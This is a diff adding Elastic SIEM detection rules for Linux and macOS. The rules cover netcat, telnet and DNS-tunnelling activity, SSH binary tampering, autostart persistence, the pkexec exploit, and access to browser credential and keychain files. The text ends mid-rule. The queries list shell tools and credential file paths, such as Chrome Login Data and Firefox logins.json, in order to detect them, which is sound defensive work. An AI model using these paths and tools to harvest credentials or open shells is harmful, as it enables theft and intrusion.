a/rules/linux/initial_access_login_location.toml b/rules/linux/initial_access_login_location.toml new file mode 100644 index 000000000..a617d4719 --- /dev/null +++ b/rules/linux/initial_access_login_location.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/07/08" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies that a login attempt has happened from a forbidden location." +index = ["auditbeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Auditd Login from Forbidden Location" +references = [ + "https://github.com/linux-pam/linux-pam/blob/aac5a8fdc4aa3f7e56335a6343774cc1b63b408d/modules/pam_access/pam_access.c#L412", +] +risk_score = 73 +rule_id = "cab4f01c-793f-4a54-a03e-e5d85b96d7af" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.module:auditd and event.action:"attempted-log-in-from-unusual-place-to" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/initial_access_login_sessions.toml b/rules/linux/initial_access_login_sessions.toml new file mode 100644 index 000000000..4016c276d --- /dev/null +++ b/rules/linux/initial_access_login_sessions.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/07/08" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies that the maximum number login sessions has been reached for a user." +index = ["auditbeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Auditd Max Login Sessions" +references = [ + "https://github.com/linux-pam/linux-pam/blob/70c32cc6fca51338f92afa58eb75b1107a5c2430/modules/pam_limits/pam_limits.c#L1007", +] +risk_score = 47 +rule_id = "20dc4620-3b68-4269-8124-ca5091e00ea8" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.module:auditd and event.action:"opened-too-many-sessions-to" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/initial_access_login_time.toml b/rules/linux/initial_access_login_time.toml new file mode 100644 index 000000000..7e2696c93 --- /dev/null +++ b/rules/linux/initial_access_login_time.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/07/08" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies that a login attempt occurred at a forbidden time." +index = ["auditbeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Auditd Login Attempt at Forbidden Time" +references = [ + "https://github.com/linux-pam/linux-pam/blob/aac5a8fdc4aa3f7e56335a6343774cc1b63b408d/modules/pam_time/pam_time.c#L666", +] +risk_score = 47 +rule_id = "90e28af7-1d96-4582-bf11-9a1eff21d0e5" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.module:auditd and event.action:"attempted-log-in-during-unusual-hour-to" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/lateral_movement_telnet_network_activity_external.toml b/rules/linux/lateral_movement_telnet_network_activity_external.toml new file mode 100644 index 000000000..d833f3626 --- /dev/null +++ b/rules/linux/lateral_movement_telnet_network_activity_external.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/04/23" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet +network connections to publicly routable IP addresses. +""" +false_positives = [ + """ + Telnet can be used for both benign or malicious purposes. Telnet is included by default in some Linux distributions, + so its presence is not inherently suspicious. The use of Telnet to manage devices remotely has declined in recent + years in favor of more secure protocols such as SSH. Telnet usage by non-automated tools or frameworks may be + suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Connection to External Network via Telnet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 47 +rule_id = "e19e64ee-130e-4c07-961f-8a339f0b8362" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name == "telnet" and event.type == "start"] + [network where process.name == "telnet" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", + "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/linux/lateral_movement_telnet_network_activity_internal.toml b/rules/linux/lateral_movement_telnet_network_activity_internal.toml new file mode 100644 index 000000000..e0915c924 --- /dev/null +++ b/rules/linux/lateral_movement_telnet_network_activity_internal.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/04/23" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet +network connections to non-publicly routable IP addresses. +""" +false_positives = [ + """ + Telnet can be used for both benign or malicious purposes. Telnet is included by default in some Linux distributions, + so its presence is not inherently suspicious. The use of Telnet to manage devices remotely has declined in recent + years in favor of more secure protocols such as SSH. Telnet usage by non-automated tools or frameworks may be + suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Connection to Internal Network via Telnet" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 47 +rule_id = "1b21abcc-4d9f-4b08-a7f5-316f5f94b973" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name == "telnet" and event.type == "start"] + [network where process.name == "telnet" and + cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", + "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/linux/linux_hping_activity.toml b/rules/linux/linux_hping_activity.toml new file mode 100644 index 000000000..429d1a38b --- /dev/null +++ b/rules/linux/linux_hping_activity.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Hping ran on a Linux host. Hping is a FOSS command-line packet analyzer and has the ability to construct network packets +for a wide variety of network security testing applications, including scanning and firewall auditing. +""" +false_positives = [ + """ + Normal use of hping is uncommon apart from security testing and research. Use by non-security engineers is very + uncommon. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Hping Process Activity" +references = ["https://en.wikipedia.org/wiki/Hping"] +risk_score = 73 +rule_id = "90169566-2260-4824-b8e4-8615c3b4ed52" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(hping or hping2 or hping3) +''' + diff --git a/rules/linux/linux_iodine_activity.toml b/rules/linux/linux_iodine_activity.toml new file mode 100644 index 000000000..9ba5ba032 --- /dev/null +++ b/rules/linux/linux_iodine_activity.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Iodine is a tool for tunneling Internet protocol version 4 (IPV4) traffic over the DNS protocol to circumvent firewalls, +network security groups, and network access lists while evading detection. +""" +false_positives = [ + """ + Normal use of Iodine is uncommon apart from security testing and research. Use by non-security engineers is very + uncommon. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential DNS Tunneling via Iodine" +references = ["https://code.kryo.se/iodine/"] +risk_score = 73 +rule_id = "041d4d41-9589-43e2-ba13-5680af75ebc2" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(iodine or iodined) +''' + diff --git a/rules/linux/linux_netcat_network_connection.toml b/rules/linux/linux_netcat_network_connection.toml new file mode 100644 index 000000000..66b6bc774 --- /dev/null +++ b/rules/linux/linux_netcat_network_connection.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by +exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data +exfiltration. +""" +false_positives = [ + """ + Netcat is a dual-use tool that can be used for benign or malicious activity. Netcat is included in some Linux + distributions so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may + originate from scripts, automation tools, and frameworks. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Netcat Network Activity" +references = [ + "http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf", + "https://en.wikipedia.org/wiki/Netcat", +] +risk_score = 47 +rule_id = "adb961e0-cb74-42a0-af9e-29fc41f88f5f" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where (process.name == "nc" or process.name == "ncat" or process.name == "netcat" or + process.name == "netcat.openbsd" or process.name == "netcat.traditional") and + event.type == "start"] + [network where (process.name == "nc" or process.name == "ncat" or process.name == "netcat" or + process.name == "netcat.openbsd" or process.name == "netcat.traditional")] +''' + diff --git a/rules/linux/linux_nping_activity.toml b/rules/linux/linux_nping_activity.toml new file mode 100644 index 000000000..aec8fb736 --- /dev/null +++ b/rules/linux/linux_nping_activity.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Nping ran on a Linux host. Nping is part of the Nmap tool suite and has the ability to construct raw packets for a wide +variety of security testing applications, including denial of service testing. +""" +false_positives = [ + """ + Some normal use of this command may originate from security engineers and network or server administrators, but this + is usually not routine or unannounced. Use of `Nping` by non-engineers or ordinary users is uncommon. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Nping Process Activity" +references = ["https://en.wikipedia.org/wiki/Nmap"] +risk_score = 47 +rule_id = "0d69150b-96f8-467c-a86d-a67a3378ce77" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:nping +''' + diff --git a/rules/linux/linux_process_started_in_temp_directory.toml b/rules/linux/linux_process_started_in_temp_directory.toml new file mode 100644 index 000000000..f619b4c63 --- /dev/null +++ b/rules/linux/linux_process_started_in_temp_directory.toml @@ -0,0 +1,30 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies processes running in a temporary folder. This is sometimes done by adversaries to hide malware." +false_positives = [ + """ + Build systems, like Jenkins, may start processes in the `/tmp` directory. These can be exempted by name or by + username. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Unusual Process Execution - Temp" +risk_score = 47 +rule_id = "df959768-b0c9-4d45-988c-5606a2be8e5a" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.working_directory:/tmp +''' + diff --git a/rules/linux/linux_strace_activity.toml b/rules/linux/linux_strace_activity.toml new file mode 100644 index 000000000..ad7333bd5 --- /dev/null +++ b/rules/linux/linux_strace_activity.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Strace runs in a privileged context and can be used to escape restrictive environments by instantiating a shell in order +to elevate privileges or move laterally. +""" +false_positives = [ + """ + Strace is a dual-use tool that can be used for benign or malicious activity. Some normal use of this command may + originate from developers or SREs engaged in debugging or system call tracing. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Strace Process Activity" +references = ["https://en.wikipedia.org/wiki/Strace"] +risk_score = 21 +rule_id = "d6450d4e-81c6-46a3-bd94-079886318ed5" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:strace +''' + diff --git a/rules/linux/persistence_credential_access_modify_ssh_binaries.toml b/rules/linux/persistence_credential_access_modify_ssh_binaries.toml new file mode 100644 index 000000000..a5aa08cf8 --- /dev/null +++ b/rules/linux/persistence_credential_access_modify_ssh_binaries.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/12/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may modify SSH related binaries for persistence or credential access by patching sensitive functions to +enable unauthorized access or by logging SSH credentials for exfiltration. +""" +false_positives = [ + "Trusted OpenSSH executable updates. It's recommended to verify the integrity of OpenSSH binary changes.", +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Modification of OpenSSH Binaries" +references = ["https://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-ii.html"] +risk_score = 47 +rule_id = "0415f22a-2336-45fa-ba07-618a5942e22c" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Credential Access", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and event.type:change and + process.name:* and + (file.path:(/usr/sbin/sshd or /usr/bin/ssh or /usr/bin/sftp or /usr/bin/scp) or file.name:libkeyutils.so) and + not process.executable:/usr/bin/dpkg +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1556" +name = "Modify Authentication Process" +reference = "https://attack.mitre.org/techniques/T1556/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/linux/persistence_kde_autostart_modification.toml b/rules/linux/persistence_kde_autostart_modification.toml new file mode 100644 index 000000000..42942c516 --- /dev/null +++ b/rules/linux/persistence_kde_autostart_modification.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/01/06" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of a K Desktop Environment (KDE) AutoStart script or desktop file that will +execute upon each user logon. Adversaries may abuse this method for persistence. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via KDE AutoStart Script or Desktop File Modification" +references = [ + "https://userbase.kde.org/System_Settings/Autostart", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", + "https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/", +] +risk_score = 47 +rule_id = "e3e904b3-0a8e-4e68-86a8-977a163e21d3" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.extension in ("sh", "desktop") and + file.path : + ( + "/home/*/.config/autostart/*", "/root/.config/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + "/etc/xdg/autostart/*", "/usr/share/autostart/*" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/persistence_shell_activity_by_web_server.toml b/rules/linux/persistence_shell_activity_by_web_server.toml new file mode 100644 index 000000000..221bc3bec --- /dev/null +++ b/rules/linux/persistence_shell_activity_by_web_server.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access." +false_positives = [ + """ + Network monitoring or management products may have a web server component that runs shell commands as part of normal + behavior. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Shell via Web Server" +references = ["https://pentestlab.blog/tag/web-shell/"] +risk_score = 47 +rule_id = "231876e7-4d1f-4d63-a47c-47dd1acdc1cb" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(bash or dash) and + user.name:(apache or nginx or www or "www-data") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1505" +name = "Server Software Component" +reference = "https://attack.mitre.org/techniques/T1505/" +[[rule.threat.technique.subtechnique]] +id = "T1505.003" +name = "Web Shell" +reference = "https://attack.mitre.org/techniques/T1505/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml b/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml new file mode 100644 index 000000000..0dfe418b0 --- /dev/null +++ b/rules/linux/privilege_escalation_ld_preload_shared_object_modif.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2021/01/27" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies modification of the dynamic linker preload shared object (ld.so.preload). Adversaries may execute malicious +payloads by hijacking the dynamic linker used to load libraries. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Modification of Dynamic Linker Preload Shared Object" +references = [ + "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", +] +risk_score = 47 +rule_id = "717f82c2-7741-4f9b-85b8-d06aeb853f4f" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and not event.type:deletion and file.path:/etc/ld.so.preload +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +[[rule.threat.technique.subtechnique]] +id = "T1574.006" +name = "Dynamic Linker Hijacking" +reference = "https://attack.mitre.org/techniques/T1574/006/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/linux/privilege_escalation_pkexec_envar_hijack.toml b/rules/linux/privilege_escalation_pkexec_envar_hijack.toml new file mode 100644 index 000000000..3c097c6f1 --- /dev/null +++ b/rules/linux/privilege_escalation_pkexec_envar_hijack.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2022/01/26" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies an attempt to exploit a local privilege escalation in polkit pkexec (CVE-2021-4034) via unsecure environment +variable injection. Successful exploitation allows an unprivileged user to escalate to the root user. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Privilege Escalation via PKEXEC" +references = ["https://seclists.org/oss-sec/2022/q1/80", "https://haxx.in/files/blasty-vs-pkexec.c"] +risk_score = 73 +rule_id = "8da41fc9-7735-4b24-9cc6-c78dfc9fc9c9" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where file.path : "/*GCONV_PATH*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Exploitation for Privilege Escalation" +reference = "https://attack.mitre.org/techniques/T1068/" +id = "T1068" + + +[rule.threat.tactic] +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +id = "TA0004" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +id = "T1574" +[[rule.threat.technique.subtechnique]] +name = "Path Interception by PATH Environment Variable" +reference = "https://attack.mitre.org/techniques/T1574/007/" +id = "T1574.007" + + + +[rule.threat.tactic] +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +id = "TA0005" + diff --git a/rules/macos/credential_access_access_to_browser_credentials_procargs.toml b/rules/macos/credential_access_access_to_browser_credentials_procargs.toml new file mode 100644 index 000000000..f8595b3b2 --- /dev/null +++ b/rules/macos/credential_access_access_to_browser_credentials_procargs.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/01/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of a process with arguments pointing to known browser files that store passwords and cookies. +Adversaries may acquire credentials from web browsers by reading files specific to the target browser. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Access of Stored Browser Credentials" +references = ["https://securelist.com/calisto-trojan-for-macos/86543/"] +risk_score = 73 +rule_id = "20457e4f-d1de-4b92-ae69-142e27a4342a" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.args : + ( + "/Users/*/Library/Application Support/Google/Chrome/Default/Login Data", + "/Users/*/Library/Application Support/Google/Chrome/Default/Cookies", + "/Users/*/Library/Cookies*", + "/Users/*/Library/Application Support/Firefox/Profiles/*.default/cookies.sqlite", + "/Users/*/Library/Application Support/Firefox/Profiles/*.default/key*.db", + "/Users/*/Library/Application Support/Firefox/Profiles/*.default/logins.json", + "Login Data", + "Cookies.binarycookies", + "key4.db", + "key3.db", + "logins.json", + "cookies.sqlite" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.003" +name = "Credentials from Web Browsers" +reference = "https://attack.mitre.org/techniques/T1555/003/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/credential_access_credentials_keychains.toml b/rules/macos/credential_access_credentials_keychains.toml new file mode 100644 index 000000000..e07a8860d --- /dev/null +++ b/rules/macos/credential_access_credentials_keychains.toml @@ -0,0 +1,70 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way +for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, +websites, secure notes and certificates. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Access to Keychain Credentials Directories" +references = [ + "https://objective-see.com/blog/blog_0x25.html", + "https://securelist.com/calisto-trojan-for-macos/86543/", +] +risk_score = 73 +rule_id = "96e90768-c3b7-4df6-b5d9-6237f8bc36a8" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.args : + ( + "/Users/*/Library/Keychains/*", + "/Library/Keychains/*", + "/Network/Library/Keychains/*", + "System.keychain", + "login.keychain-db", + "login.keychain" + ) and + not process.args : ("find-certificate", + "add-trusted-cert", + "set-keychain-settings", + "delete-certificate", + "/Users/*/Library/Keychains/openvpn.keychain-db", + "show-keychain-info", + "lock-keychain", + "set-key-partition-list", + "import", + "find-identity") and + not process.parent.executable : "/Applications/OpenVPN Connect/OpenVPN Connect.app/Contents/MacOS/OpenVPN Connect" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.001" +name = "Keychain" +reference = "https://attack.mitre.org/techniques/T1555/001/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/macos/credential_access_dumping_hashes_bi_cmds.toml b/rules/macos/credential_access_dumping_hashes_bi_cmds.toml new file mode 100644 index 000000000..a70a2b68d --- /dev/null +++ b/rules/macos/credential_access_dumping_hashes_bi_cmds.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2021/01/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of macOS built-in commands used to dump user account hashes. Adversaries may attempt to dump +credentials to obtain account login information in the form of a hash. These hashes can be cracked or leveraged for +lateral movement. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Dumping Account Hashes via Built-In Commands" +references = [ + "https://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored", + "https://www.unix.com/man-page/osx/8/mkpassdb/", +] +risk_score = 73 +rule_id = "02ea4563-ec10-4974-b7de-12e65aa4f9b3" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = 